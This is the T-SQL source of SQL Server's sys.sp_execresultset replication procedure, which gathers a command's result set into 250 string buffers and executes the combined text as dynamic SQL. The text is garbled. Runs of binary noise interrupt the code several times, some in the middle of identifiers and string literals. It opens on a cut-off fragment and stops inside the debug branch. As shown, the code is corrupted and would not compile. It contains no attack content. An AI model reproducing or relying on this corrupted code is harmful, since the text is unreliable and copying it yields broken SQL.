		exec dbo.sp_MSdelet!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(pMN#vacreate procedure sys.sp_execresultset
(
    @cmd     nvarchar(max),        -- Command that will return a resultset to concat and execute
    @debug    bit = 0                -- Display debug information and resultset query (no exec)
)
as
begin
    set nocount on

    declare @MAXBUFFLEN    int,
        @qPosition         int,
        @qValue            nvarchar(max),
        @scriptLen        int,
        @scriptText     nvarchar(max),
        @maxIndex        bigint,
        @rowIndex        bigint,
        @retcode            int

    -- declare 250 nvarchar(4000) (nearly 1MB worth of space)
    declare @q1 nvarchar(4000), @q2 nvarchar(4000), @q3 nvarchar(4000), @q4 nvarchar(4000), @q5 nvarchar(4000), @q6 nvarchar(4000), @q7 nvarchar(4000), @q8 nvarchar(4000), @q9 nvarchar(4000), @q10 nvarchar(4000), 
        @q11 nvarchar(4000), @q12 nvarchar(4000), @q13 nvarchar(4000), @q14 nvarchar(4000), @q15 nvarchar(4000), @q16 nvarchar(4000), @q17 nvarchar(4000), @q18 nvarchar(4000), @q19 nvarchar(4000), @q20 nvarchar(4000), 
        @q21 nvarchar(4000), @q22 nvarchar(4000), @q23 nvarchar(4000), @q24 nvarchar(4000), @q25 nvarchar(4000), @q26 nvarchar(4000), @q27 nvarchar(4000), @q28 nvarchar(4000), @q29 nvarchar(4000), @q30 nvarchar(4000), 
        @q31 nvarchar(4000), @q32 nvarchar(4000), @q33 nvarchar(4000), @q34 nvarchar(4000), @q35 nvarchar(4000), @q36 nvarchar(4000), @q37 nvarchar(4000), @q38 nvarchar(4000), @q39 nvarchar(4000), @q40 nvarchar(4000), 
        @q41 nvarchar(4000), @q42 nvarchar(4000), @q43 nvarchar(4000), @q44 nvarchar(4000), @q45 nvarchar(4000), @q46 nvarchar(4000), @q47 nvarchar(4000), @q48 nvarchar(4000), @q49 nvarchar(4000), @q50 nvarchar(4000), 
        @q51 nvarchar(4000), @q52 nvarchar(4000), @q53 nvarchar(4000), @q54 nvarchar(4000), @q55 nvarchar(4000), @q56 nvarchar(4000), @q57 nvarchar(4000), @q58 nvarchar(4000), @q59 nvarchar(4000), @q60 nvarchar(4000), 
        @q61 nvarchar(4000), @q62 nvarchar(4000), @q63 nvarchar(4000), @q64 nvarchar(4000), @q65 nvarchar(4000), @q66 nvarchar(4000), @q67 nvarchar(4000), @q68 nvarchar(4000), @q69 nvarchar(4000), @q70 nvarchar(4000), 
        @q71 nvarchar(4000), @q72 nvarchar(4000), @q73 nvarchar(4000), @q74 nvarchar(4000), @q75 nvarchar(4000), @q76 nvarchar(4000), @q77 nvarchar(4000), @q78 nvarchar(4000), @q79 nvarchar(4000), @q80 nvarchar(4000), 
        @q81 nvarchar(4000), @q82 nvarchar(4000), @q83 nvarchar(4000), @q84 nvarchar(4000), @q85 nvarchar(4000), @q86 nvarchar(4000), @q87 nvarchar(4000), @q88 nvarchar(4000), @q89 nvarchar(4000), @q90 nvarchar(4000), 
        @q91 nvarchar(4000), @q92 nvarchar(4000), @q93 nvarchar(4000), @q94 nvarchar(4000), @q95 nvarchar(4000), @q96 nvarchar(4000), @q97 nvarchar(4000), @q98 nvarchar(4000), @q99 nvarchar(4000), @q100 nvarchar(4000), 
        @q101 nvarchar(4000), @q102 nvarchar(4000), @q103 nvarchar(4000), @q104 nvarchar(4000), @q105 nvarchar(4000), @q106 nvarchar(4000), @q107 nvarchar(4000), @q108 nvarchar(4000), @q109 nvarchar(4000), @q110 nvarchar(4000), 
        @q111 nvarchar(4000), @q112 nvarchar(4000), @q113 nvarchar(4000), @q114 nvarchar(4000), @q115 nvarchar(4000), @q116 nvarchar(4000), @q117 nvarchar(4000), @q118 nvarchar(4000), @q119 nvarchar(4000), @q120 nvarchar(4000), 
        @q121 nvarchar(4000), @q122 nvarchar(4000), @q123 nvarchar(4000), @q124 nvarchar(4000), @q125 nvarchar(4000), @q126 nvarchar(4000), @q127 nvarchar(4000), @q128 nvarchar(4000), @q129 nvarchar(4000), @q130 nvarchar(4000), 
        @q131 nvarchar(4000), @q132 nvarchar(4000), @q133 nvarchar(4000), @q134 nvarchar(4000), @q135 nvarchar(4000), @q136 nvarchar(4000), @q137 nvarchar(4000), @q138 nvarchar(4000), @q139 nvarchar(4000), @q140 nvarchar(4000), 
        @q141 nvarchar(4000), @q142 nvarchar(4000), @q143 nvarchar(4000), @q144 nvarchar(4000), @q145 nvarchar(4000), @q146 nvarchar(4000), @q147 nvarchar(4000), @q148 nvarchar(4000), @q149 nvarchar(4000), @q150 nvarchar(4000), 
        @q151 nvarchar(4000), @q152 nvarchar(4000), @q153 nvarchar(4000), @q154 nvarchar(4000), @q155 nvarchar(4000), @q156 nvarchar(4000), @q157 nvarchar(4000), @q158 nvarchar(4000), @q159 nvarchar(4000), @q160 nvarchar(4000), 
        @q161 nvarchar(4000), @q162 nvarchar(4000), @q163 nvarchar(4000), @q164 nvarchar(4000), @q165 nvarchar(4000), @q166 nvarchar(4000), @q167 nvarchar(4000), @q168 nvarchar(4000), @q169 nvarchar(4000), @q170 nvarchar(4000), 
        @q171 nvarchar(4000), @q172 nvarchar(4000), @q173 nvarchar(4000), @q174 nvarchar(4000), @q175 nvarchar(4000), @q176 nvarchar(4000), @q177 nvarchar(4000), @q178 nvarchar(4000), @q179 nvarchar(4000), @q180 nvarchar(4000), 
        @q181 nvarchar(4000), @q182 nvarchar(4000), @q183 nvarchar(4000), @q184 nvarchar(4000), @q185 nvarchar(4000), @q186 nvarchar(4000), @q187 nvarchar(4000), @q188 nvarchar(4000), @q189 nvarchar(4000), @q190 nvarchar(4000), 
        @q191 nvarchar(4000), @q192 nvarchar(4000), @q193 nvarchar(4000), @q194 nvarchar(4000), @q195 nvarchar(4000), @q196 nvarchar(4000), @q197 nvarchar(4000), @q198 nvarchar(4000), @q199 nvarchar(4000), @q200 nvarchar(4000), 
        @q201 nvarchar(4000), @q202 nvarchar(4000), @q203 nvarchar(4000), @q204 nvarchar(4000), @q205 nvarchar(4000), @q206 nvarchar(4000), @q207 nvarchar(4000), @q208 nvarchar(4000), @q209 nvarchar(4000), @q210 nvarchar(4000), 
        @q211 nvarchar(4000), @q212 nvarchar(4000), @q213 nvarchar(4000), @q214 nvarchar(4000), @q215 nvarchar(4000), @q216 nvarchar(4000), @q217 nvarchar(4000), @q218 nvarchar(4000), @q219 nvarchar(4000), @q220 nvarchar(4000), 
        @q221 nvarchar(4000), @q222 nvarchar(4000), @q223 nvarchar(4000), @q224 nvarchar(4000), @q225 nvarchar(4000), @q226 nvarchar(4000), @q227 nvarchar(4000), @q228 nvarchar(4000), @q229 nvarchar(4000), @q230 nvarchar(4000), 
        @q231 nvarchar(4000), @q232 nvarchar(4000), @q233 nvarchar(4000), @q234 nvarchar(4000), @q235 nvarchar(4000), @q236 nvarchar(4000), @q237 nvarchar(4000), @q238 nvarchar(4000), @q239 nvarchar(4000), @q240 nvarchar(4000), 
        @q241 nvarchar(4000), @q242 nvarchar(4000), @q243 nvarchar(4000), @q244 nvarchar(4000), @q245 nvarchar(4000), @q246 nvarchar(4000), @q247 nvarchar(4000), @q248 nvarchar(4000), @q249 nvarchar(4000), @q250 nvarchar(4000) 

    -- initialize all vars
    select @q1 = N'', @q2 = N'', @q3 = N'', @q4 = N'', @q5 = N'', @q6 = N'', @q7 = N'', @q8 = N'', @q9 = N'', @q10 = N'', 
        @q11 = N'', @q12 = N'', @q13 = N'', @q14 = N'', @q15 = N'', @q16 = N'', @q17 = N'', @q18 = N'', @q19 = N'', @q20 = N'', 
        @q21 = N'', @q22 = N'', @q23 = N'', @q24 = N'', @q25 = N'', @q26 = N'', @q27 = N'', @q28 = N'', @q29 = N'', @q30 = N'', 
        @q31 = N'', @q32 = N'', @q33 = N'', @q34 = N'', @q35 = N'', @q36 = N'', @q37 = N'', @q38 = N'', @q39 = N'', @q40 = N'', 
        @q41 = N'', @q42 = N'', @q43 = N'', @q44 = N'', @q45 = N'', @q46 = N'', @q47 = N'', @q48 = N'', @q49 = N'', @q50 = N'', 
        @q51 = N'', @q52 = N'', @q53 = N'', @q54 = N'', @q55 = N'', @q56 = N'', @q57 = N'', @q58 = N'', @q59 = N'', @q60 = N'', 
        @q61 = N'', @q62 = N'', @q63 = N'', @q64 = N'', @q65 = N'', @q66 = N'', @q67 = N'', @q68 = N'', @q69 = N'', @q70 = N'', 
        @q71 = N'', @q72 = N'', @q73 = N'', @q74 = N'', @q75 = N'', @q76 = N'', @q77 = N'', @q78 = N'', @q79 = N'', @q80 = N'', 
        @q81 = N'', @q82 = N'', @q83 = N'', @q84 = N'', @q85 = N'', @q86 = N'', @q87 = N'', @q88 = N'', @q89 = N'', @q90 = N'', 
        @q91 = N'', @q92 = N'', @q93 = N'', @q94 = N'', @q95 = N'', @q96 = N'', @q97 = N'', @q98 = N'', @q99 = N'', @q100 = N'', 
        @q101 = N'', @q102 = N'', @q103 = N'', @q104 = N'', @q105 = N'', @q106 = N'', @q107 = N'', @q108 = N'', @q109 = N'', @q110 = N'', 
        @q111 = N'', @q112 = N'', @q113 = N'', @q114 = N'', @q115 = N'', @q116 = N'', @q117 = N'', @q118 = N'', @q119 = N'', @q120 = N'', 
        @q121 = N'', @q122 = N'', @q123 = N'', @q124 = N'', @q125 = N'', @q126 = N'', @q127 = N'', @q128 = N'', @q129 = N'', @q130 = N'', 
        @q131 = N'', @q132 = N!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(qMNbva'', @q133 = N'', @q134 = N'', @q135 = N'', @q136 = N'', @q137 = N'', @q138 = N'', @q139 = N'', @q140 = N'', 
        @q141 = N'', @q142 = N'', @q143 = N'', @q144 = N'', @q145 = N'', @q146 = N'', @q147 = N'', @q148 = N'', @q149 = N'', @q150 = N'', 
        @q151 = N'', @q152 = N'', @q153 = N'', @q154 = N'', @q155 = N'', @q156 = N'', @q157 = N'', @q158 = N'', @q159 = N'', @q160 = N'', 
        @q161 = N'', @q162 = N'', @q163 = N'', @q164 = N'', @q165 = N'', @q166 = N'', @q167 = N'', @q168 = N'', @q169 = N'', @q170 = N'', 
        @q171 = N'', @q172 = N'', @q173 = N'', @q174 = N'', @q175 = N'', @q176 = N'', @q177 = N'', @q178 = N'', @q179 = N'', @q180 = N'', 
        @q181 = N'', @q182 = N'', @q183 = N'', @q184 = N'', @q185 = N'', @q186 = N'', @q187 = N'', @q188 = N'', @q189 = N'', @q190 = N'', 
        @q191 = N'', @q192 = N'', @q193 = N'', @q194 = N'', @q195 = N'', @q196 = N'', @q197 = N'', @q198 = N'', @q199 = N'', @q200 = N'', 
        @q201 = N'', @q202 = N'', @q203 = N'', @q204 = N'', @q205 = N'', @q206 = N'', @q207 = N'', @q208 = N'', @q209 = N'', @q210 = N'', 
        @q211 = N'', @q212 = N'', @q213 = N'', @q214 = N'', @q215 = N'', @q216 = N'', @q217 = N'', @q218 = N'', @q219 = N'', @q220 = N'', 
        @q221 = N'', @q222 = N'', @q223 = N'', @q224 = N'', @q225 = N'', @q226 = N'', @q227 = N'', @q228 = N'', @q229 = N'', @q230 = N'', 
        @q231 = N'', @q232 = N'', @q233 = N'', @q234 = N'', @q235 = N'', @q236 = N'', @q237 = N'', @q238 = N'', @q239 = N'', @q240 = N'', 
        @q241 = N'', @q242 = N'', @q243 = N'', @q244 = N'', @q245 = N'', @q246 = N'', @q247 = N'', @q248 = N'', @q249 = N'', @q250 = N''
    
    select @MAXBUFFLEN     = 4000,
        @qPosition        = 1,
        @qValue            = N'',
        @scriptLen        = 0,
        @scriptText     = N'',
        @retcode            = 0
    -- load a local tmp table with the resultset based off of the cmd provided
    -- we also attempt to change the database context before execing the cmd
    create table #MSrepl_exec_script (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if @@error <> 0
    begin
        return 1
    end
    
    -- For debugging generated procs. Create the table MSmerge_debug_objects in the current database
    -- create table MSmerge_debug_objects (orderCol int identity(1,1) primary key clustered, scriptText nvarchar(max))
    if object_id('MSmerge_debug_objects', 'U') is not NULL
    begin
       insert into MSmerge_debug_objects(scriptText) exec(@cmd)
	end

    insert into #MSrepl_exec_script(scriptText) exec(@cmd)
    if @@error <> 0
    begin
        goto Error
    end
    
    -- get the max value inserted in the identity col for 
    -- #MSrepl_exec_script table and set the rowIndex = 1
    select @maxIndex = max(orderCol),
            @rowIndex = 1
        from #MSrepl_exec_script
    -- retrieve the current scriptText row 
    select @scriptText = isnull(scriptText, N'')
        from #MSrepl_exec_script
        where orderCol = @rowIndex

    while (@rowIndex <= @maxIndex)
    begin
        select @scriptLen = @scriptLen + datalength(@scriptText)/2
        if (@scriptLen < @MAXBUFFLEN)
        begin
            -- for this case we continue to append since we know we have room
            select @qValue = @qValue + @scriptText + N' '
            
            -- add one to the script length for the space we just added
            select @scriptLen = @scriptLen + 1

            -- increment the row position counter
            select @rowIndex = @rowIndex + 1

            set @scriptText = N''
            -- retrieve the current scriptText row
            select @scriptText = isnull(scriptText, N'')
                from #MSrepl_exec_script
                where orderCol = @rowIndex

            -- If there are no more script pieces then we will not continue
            -- instead we will set the current @qPosition and the loop will exit
            --
            -- Also be sure that if we reach the MAXBUFFLEN at this point we do not 
            -- continue. Instead we want to set the value below first before we continue.
            -- FYI: It will never be possible to be greater than MAXBUFFLEN in this section.
            if(@rowIndex <= @maxIndex and @scriptLen != @MAXBUFFLEN)
            begin
                continue
            end
        end
        else if (@scriptLen > @MAXBUFFLEN)
        begin
            -- here we have exceeded the @MAXBUFFLEN char limit so we will 
            -- fill the @qValue buffer and then store off the remaining  
            -- scriptText to be appended on the next itteration of the loop

            select @qValue = @qValue + left(@scriptText, @MAXBUFFLEN - datalength(@qValue)/2)

            select @scriptText = right(@scriptText, @scriptLen - @MAXBUFFLEN)    
        end
        else
        begin
            -- Append the entire scriptText since we know we have room. Do not 
            -- add the command seperator (space) since there is no room for that
            select @qValue = @qValue + @scriptText

            -- set the scripttext to empty so that on the next loop 
            -- we will add a space to the first qPostition buffer 
            select @scriptText = N''
        end

        -- set one of the 250 vars
        -- we need to break this 'else if' list by 100 because there is a limit of nesting levels
        -- this is a good idea in any case because it should speed things up a bit
        if @qPosition <= 100
        begin
            if @qPosition = 1 select @q1 = @qValue else if @qPosition = 2 select @q2 = @qValue else if @qPosition = 3 select @q3 = @qValue else if @qPosition = 4 select @q4 = @qValue else if @qPosition = 5 select @q5 = @qValue else if @qPosition = 6 select @q6 = @qValue else if @qPosition = 7 select @q7 = @qValue else if @qPosition = 8 select @q8 = @qValue else if @qPosition = 9 select @q9 = @qValue else if @qPosition = 10 select @q10 = @qValue 
            else if @qPosition = 11 select @q11 = @qValue else if @qPosition = 12 select @q12 = @qValue else if @qPosition = 13 select @q13 = @qValue else if @qPosition = 14 select @q14 = @qValue else if @qPosition = 15 select @q15 = @qValue else if @qPosition = 16 select @q16 = @qValue else if @qPosition = 17 select @q17 = @qValue else if @qPosition = 18 select @q18 = @qValue else if @qPosition = 19 select @q19 = @qValue else if @qPosition = 20 select @q20 = @qValue 
            else if @qPosition = 21 select @q21 = @qValue else if @qPosition = 22 select @q22 = @qValue else if @qPosition = 23 select @q23 = @qValue else if @qPosition = 24 select @q24 = @qValue else if @qPosition = 25 select @q25 = @qValue else if @qPosition = 26 select @q26 = @qValue else if @qPosition = 27 select @q27 = @qValue else if @qPosition = 28 select @q28 = @qValue else if @qPosition = 29 select @q29 = @qValue else if @qPosition = 30 select @q30 = @qValue 
            else if @qPosition = 31 select @q31 = @qValue else if @qPosition = 32 select @q32 = @qValue else if @qPosition = 33 select @q33 = @qValue else if @qPosition = 34 select @q34 = @qValue else if @qPosition = 35 select @q35 = @qValue else if @qPosition = 36 select @q36 = @qValue else if @qPosition = 37 select @q37 = @qValue else if @qPosition = 38 select @q38 = @qValue else if @qPosition = 39 select @q39 = @qValue else if @qPosition = 40 select @q40 = @qValue 
            else if @qPosition = 41 select @q41 = @qValue else if @qPosition = 42 select @q42 = @qValue else if @qPosition = 43 select @q43 = @qValue else if @qPosition = 44 select @q44 = @qValue else if @qPosition = 45 select @q45 = @qValue else if @qPosition = 46 select @q46 = @qValue else if @qPosition = 47 select @q47 = @qValue else if @qPosition = 48 select @q48 = @qValue else if @qPosition = 49 select @q49 = @qValue else if @qPosition = 50 select @q50 = @qValue 
            else if @qPosition = 51 select @q51 = @qValue else if @qPos!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(rMN15vaition = 52 select @q52 = @qValue else if @qPosition = 53 select @q53 = @qValue else if @qPosition = 54 select @q54 = @qValue else if @qPosition = 55 select @q55 = @qValue else if @qPosition = 56 select @q56 = @qValue else if @qPosition = 57 select @q57 = @qValue else if @qPosition = 58 select @q58 = @qValue else if @qPosition = 59 select @q59 = @qValue else if @qPosition = 60 select @q60 = @qValue 
            else if @qPosition = 61 select @q61 = @qValue else if @qPosition = 62 select @q62 = @qValue else if @qPosition = 63 select @q63 = @qValue else if @qPosition = 64 select @q64 = @qValue else if @qPosition = 65 select @q65 = @qValue else if @qPosition = 66 select @q66 = @qValue else if @qPosition = 67 select @q67 = @qValue else if @qPosition = 68 select @q68 = @qValue else if @qPosition = 69 select @q69 = @qValue else if @qPosition = 70 select @q70 = @qValue 
            else if @qPosition = 71 select @q71 = @qValue else if @qPosition = 72 select @q72 = @qValue else if @qPosition = 73 select @q73 = @qValue else if @qPosition = 74 select @q74 = @qValue else if @qPosition = 75 select @q75 = @qValue else if @qPosition = 76 select @q76 = @qValue else if @qPosition = 77 select @q77 = @qValue else if @qPosition = 78 select @q78 = @qValue else if @qPosition = 79 select @q79 = @qValue else if @qPosition = 80 select @q80 = @qValue 
            else if @qPosition = 81 select @q81 = @qValue else if @qPosition = 82 select @q82 = @qValue else if @qPosition = 83 select @q83 = @qValue else if @qPosition = 84 select @q84 = @qValue else if @qPosition = 85 select @q85 = @qValue else if @qPosition = 86 select @q86 = @qValue else if @qPosition = 87 select @q87 = @qValue else if @qPosition = 88 select @q88 = @qValue else if @qPosition = 89 select @q89 = @qValue else if @qPosition = 90 select @q90 = @qValue 
            else if @qPosition = 91 select @q91 = @qValue else if @qPosition = 92 select @q92 = @qValue else if @qPosition = 93 select @q93 = @qValue else if @qPosition = 94 select @q94 = @qValue else if @qPosition = 95 select @q95 = @qValue else if @qPosition = 96 select @q96 = @qValue else if @qPosition = 97 select @q97 = @qValue else if @qPosition = 98 select @q98 = @qValue else if @qPosition = 99 select @q99 = @qValue else if @qPosition = 100 select @q100 = @qValue
        end
        else if @qPosition <= 200   
        begin
            if @qPosition = 101 select @q101 = @qValue else if @qPosition = 102 select @q102 = @qValue else if @qPosition = 103 select @q103 = @qValue else if @qPosition = 104 select @q104 = @qValue else if @qPosition = 105 select @q105 = @qValue else if @qPosition = 106 select @q106 = @qValue else if @qPosition = 107 select @q107 = @qValue else if @qPosition = 108 select @q108 = @qValue else if @qPosition = 109 select @q109 = @qValue else if @qPosition = 110 select @q110 = @qValue
            else if @qPosition = 111 select @q111 = @qValue else if @qPosition = 112 select @q112 = @qValue else if @qPosition = 113 select @q113 = @qValue else if @qPosition = 114 select @q114 = @qValue else if @qPosition = 115 select @q115 = @qValue else if @qPosition = 116 select @q116 = @qValue else if @qPosition = 117 select @q117 = @qValue else if @qPosition = 118 select @q118 = @qValue else if @qPosition = 119 select @q119 = @qValue else if @qPosition = 120 select @q120 = @qValue
            else if @qPosition = 121 select @q121 = @qValue else if @qPosition = 122 select @q122 = @qValue else if @qPosition = 123 select @q123 = @qValue else if @qPosition = 124 select @q124 = @qValue else if @qPosition = 125 select @q125 = @qValue else if @qPosition = 126 select @q126 = @qValue else if @qPosition = 127 select @q127 = @qValue else if @qPosition = 128 select @q128 = @qValue else if @qPosition = 129 select @q129 = @qValue else if @qPosition = 130 select @q130 = @qValue 
            else if @qPosition = 131 select @q131 = @qValue else if @qPosition = 132 select @q132 = @qValue else if @qPosition = 133 select @q133 = @qValue else if @qPosition = 134 select @q134 = @qValue else if @qPosition = 135 select @q135 = @qValue else if @qPosition = 136 select @q136 = @qValue else if @qPosition = 137 select @q137 = @qValue else if @qPosition = 138 select @q138 = @qValue else if @qPosition = 139 select @q139 = @qValue else if @qPosition = 140 select @q140 = @qValue 
            else if @qPosition = 141 select @q141 = @qValue else if @qPosition = 142 select @q142 = @qValue else if @qPosition = 143 select @q143 = @qValue else if @qPosition = 144 select @q144 = @qValue else if @qPosition = 145 select @q145 = @qValue else if @qPosition = 146 select @q146 = @qValue else if @qPosition = 147 select @q147 = @qValue else if @qPosition = 148 select @q148 = @qValue else if @qPosition = 149 select @q149 = @qValue else if @qPosition = 150 select @q150 = @qValue 
            else if @qPosition = 151 select @q151 = @qValue else if @qPosition = 152 select @q152 = @qValue else if @qPosition = 153 select @q153 = @qValue else if @qPosition = 154 select @q154 = @qValue else if @qPosition = 155 select @q155 = @qValue else if @qPosition = 156 select @q156 = @qValue else if @qPosition = 157 select @q157 = @qValue else if @qPosition = 158 select @q158 = @qValue else if @qPosition = 159 select @q159 = @qValue else if @qPosition = 160 select @q160 = @qValue 
            else if @qPosition = 161 select @q161 = @qValue else if @qPosition = 162 select @q162 = @qValue else if @qPosition = 163 select @q163 = @qValue else if @qPosition = 164 select @q164 = @qValue else if @qPosition = 165 select @q165 = @qValue else if @qPosition = 166 select @q166 = @qValue else if @qPosition = 167 select @q167 = @qValue else if @qPosition = 168 select @q168 = @qValue else if @qPosition = 169 select @q169 = @qValue else if @qPosition = 170 select @q170 = @qValue 
            else if @qPosition = 171 select @q171 = @qValue else if @qPosition = 172 select @q172 = @qValue else if @qPosition = 173 select @q173 = @qValue else if @qPosition = 174 select @q174 = @qValue else if @qPosition = 175 select @q175 = @qValue else if @qPosition = 176 select @q176 = @qValue else if @qPosition = 177 select @q177 = @qValue else if @qPosition = 178 select @q178 = @qValue else if @qPosition = 179 select @q179 = @qValue else if @qPosition = 180 select @q180 = @qValue 
            else if @qPosition = 181 select @q181 = @qValue else if @qPosition = 182 select @q182 = @qValue else if @qPosition = 183 select @q183 = @qValue else if @qPosition = 184 select @q184 = @qValue else if @qPosition = 185 select @q185 = @qValue else if @qPosition = 186 select @q186 = @qValue else if @qPosition = 187 select @q187 = @qValue else if @qPosition = 188 select @q188 = @qValue else if @qPosition = 189 select @q189 = @qValue else if @qPosition = 190 select @q190 = @qValue 
            else if @qPosition = 191 select @q191 = @qValue else if @qPosition = 192 select @q192 = @qValue else if @qPosition = 193 select @q193 = @qValue else if @qPosition = 194 select @q194 = @qValue else if @qPosition = 195 select @q195 = @qValue else if @qPosition = 196 select @q196 = @qValue else if @qPosition = 197 select @q197 = @qValue else if @qPosition = 198 select @q198 = @qValue else if @qPosition = 199 select @q199 = @qValue else if @qPosition = 200 select @q200 = @qValue
        end
        else
        begin
            if @qPosition = 201 select @q201 = @qValue else if @qPosition = 202 select @q202 = @qValue else if @qPosition = 203 select @q203 = @qValue else if @qPosition = 204 select @q204 = @qValue else if @qPosition = 205 select @q205 = @qValue else if @qPosition = 206 select @q206 = @qValue else if @qPosition = 207 select @q207 = @qValue else if @qPosition = 208 select @q208 = @qValue else if @qPosition = 209 select @q209 = @qValue else if @qPosition = 210 select @q210 = @qValue 
            else if @qPosition = 211 select @q211 = @qValue else if @qPosition = 212 select @q212 = @qValue else if @qPosition = 213 select @q213 = @qValue else if @qPosition = 214 select @q214 = @qValue else if!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(sMNva @qPosition = 215 select @q215 = @qValue else if @qPosition = 216 select @q216 = @qValue else if @qPosition = 217 select @q217 = @qValue else if @qPosition = 218 select @q218 = @qValue else if @qPosition = 219 select @q219 = @qValue else if @qPosition = 220 select @q220 = @qValue 
            else if @qPosition = 221 select @q221 = @qValue else if @qPosition = 222 select @q222 = @qValue else if @qPosition = 223 select @q223 = @qValue else if @qPosition = 224 select @q224 = @qValue else if @qPosition = 225 select @q225 = @qValue else if @qPosition = 226 select @q226 = @qValue else if @qPosition = 227 select @q227 = @qValue else if @qPosition = 228 select @q228 = @qValue else if @qPosition = 229 select @q229 = @qValue else if @qPosition = 230 select @q230 = @qValue 
            else if @qPosition = 231 select @q231 = @qValue else if @qPosition = 232 select @q232 = @qValue else if @qPosition = 233 select @q233 = @qValue else if @qPosition = 234 select @q234 = @qValue else if @qPosition = 235 select @q235 = @qValue else if @qPosition = 236 select @q236 = @qValue else if @qPosition = 237 select @q237 = @qValue else if @qPosition = 238 select @q238 = @qValue else if @qPosition = 239 select @q239 = @qValue else if @qPosition = 240 select @q240 = @qValue 
            else if @qPosition = 241 select @q241 = @qValue else if @qPosition = 242 select @q242 = @qValue else if @qPosition = 243 select @q243 = @qValue else if @qPosition = 244 select @q244 = @qValue else if @qPosition = 245 select @q245 = @qValue else if @qPosition = 246 select @q246 = @qValue else if @qPosition = 247 select @q247 = @qValue else if @qPosition = 248 select @q248 = @qValue else if @qPosition = 249 select @q249 = @qValue else if @qPosition = 250 select @q250 = @qValue
            
            if @qPosition > 250
            begin
                exec @retcode = sys.sp_execresultset_nvarcharmax
                    @q1,@q2,@q3,@q4,@q5,@q6,@q7,@q8,@q9,@q10,
                    @q11,@q12,@q13,@q14,@q15,@q16,@q17,@q18,@q19,@q20,
                    @q21,@q22,@q23,@q24,@q25,@q26,@q27,@q28,@q29,@q30,
                    @q31,@q32,@q33,@q34,@q35,@q36,@q37,@q38,@q39,@q40,
                    @q41,@q42,@q43,@q44,@q45,@q46,@q47,@q48,@q49,@q50,
                    @q51,@q52,@q53,@q54,@q55,@q56,@q57,@q58,@q59,@q60,
                    @q61,@q62,@q63,@q64,@q65,@q66,@q67,@q68,@q69,@q70,
                    @q71,@q72,@q73,@q74,@q75,@q76,@q77,@q78,@q79,@q80,
                    @q81,@q82,@q83,@q84,@q85,@q86,@q87,@q88,@q89,@q90,
                    @q91,@q92,@q93,@q94,@q95,@q96,@q97,@q98,@q99,@q100,
                    @q101,@q102,@q103,@q104,@q105,@q106,@q107,@q108,@q109,@q110,
                    @q111,@q112,@q113,@q114,@q115,@q116,@q117,@q118,@q119,@q120,
                    @q121,@q122,@q123,@q124,@q125,@q126,@q127,@q128,@q129,@q130,
                    @q131,@q132,@q133,@q134,@q135,@q136,@q137,@q138,@q139,@q140,
                    @q141,@q142,@q143,@q144,@q145,@q146,@q147,@q148,@q149,@q150,
                    @q151,@q152,@q153,@q154,@q155,@q156,@q157,@q158,@q159,@q160,
                    @q161,@q162,@q163,@q164,@q165,@q166,@q167,@q168,@q169,@q170,
                    @q171,@q172,@q173,@q174,@q175,@q176,@q177,@q178,@q179,@q180,
                    @q181,@q182,@q183,@q184,@q185,@q186,@q187,@q188,@q189,@q190,
                    @q191,@q192,@q193,@q194,@q195,@q196,@q197,@q198,@q199,@q200,
                    @q201,@q202,@q203,@q204,@q205,@q206,@q207,@q208,@q209,@q210,
                    @q211,@q212,@q213,@q214,@q215,@q216,@q217,@q218,@q219,@q220,
                    @q221,@q222,@q223,@q224,@q225,@q226,@q227,@q228,@q229,@q230,
                    @q231,@q232,@q233,@q234,@q235,@q236,@q237,@q238,@q239,@q240,
                    @q241,@q242,@q243,@q244,@q245,@q246,@q247,@q248,@q249,@q250,
                    @qValue, @scriptText, @rowIndex, @debug
                if @@error <> 0 or @retcode <> 0
                begin
                    goto Error
                end
                return 0
            end
        end

        -- Since we just filled a buffer move the index value by one
        -- and reset the current query row value to empty and len to 0
        select @qPosition    = @qPosition + 1,
            @qValue        = N'',
            @scriptLen    = 0
    end
        
    if @debug = 0
    begin
    -- concat all buffers and execute
    exec(@q1+@q2+@q3+@q4+@q5+@q6+@q7+@q8+@q9+@q10+
        @q11+@q12+@q13+@q14+@q15+@q16+@q17+@q18+@q19+@q20+
        @q21+@q22+@q23+@q24+@q25+@q26+@q27+@q28+@q29+@q30+
        @q31+@q32+@q33+@q34+@q35+@q36+@q37+@q38+@q39+@q40+
        @q41+@q42+@q43+@q44+@q45+@q46+@q47+@q48+@q49+@q50+
        @q51+@q52+@q53+@q54+@q55+@q56+@q57+@q58+@q59+@q60+
        @q61+@q62+@q63+@q64+@q65+@q66+@q67+@q68+@q69+@q70+
        @q71+@q72+@q73+@q74+@q75+@q76+@q77+@q78+@q79+@q80+
        @q81+@q82+@q83+@q84+@q85+@q86+@q87+@q88+@q89+@q90+
        @q91+@q92+@q93+@q94+@q95+@q96+@q97+@q98+@q99+@q100+
        @q101+@q102+@q103+@q104+@q105+@q106+@q107+@q108+@q109+@q110+
        @q111+@q112+@q113+@q114+@q115+@q116+@q117+@q118+@q119+@q120+
        @q121+@q122+@q123+@q124+@q125+@q126+@q127+@q128+@q129+@q130+
        @q131+@q132+@q133+@q134+@q135+@q136+@q137+@q138+@q139+@q140+
        @q141+@q142+@q143+@q144+@q145+@q146+@q147+@q148+@q149+@q150+
        @q151+@q152+@q153+@q154+@q155+@q156+@q157+@q158+@q159+@q160+
        @q161+@q162+@q163+@q164+@q165+@q166+@q167+@q168+@q169+@q170+
        @q171+@q172+@q173+@q174+@q175+@q176+@q177+@q178+@q179+@q180+
        @q181+@q182+@q183+@q184+@q185+@q186+@q187+@q188+@q189+@q190+
        @q191+@q192+@q193+@q194+@q195+@q196+@q197+@q198+@q199+@q200+
        @q201+@q202+@q203+@q204+@q205+@q206+@q207+@q208+@q209+@q210+
        @q211+@q212+@q213+@q214+@q215+@q216+@q217+@q218+@q219+@q220+
        @q221+@q222+@q223+@q224+@q225+@q226+@q227+@q228+@q229+@q230+
        @q231+@q232+@q233+@q234+@q235+@q236+@q237+@q238+@q239+@q240+
        @q241+@q242+@q243+@q244+@q245+@q246+@q247+@q248+@q249+@q250)
    if @@error <> 0
    begin
        goto Error
    end
    end
    else
    begin
    -- print out debug info
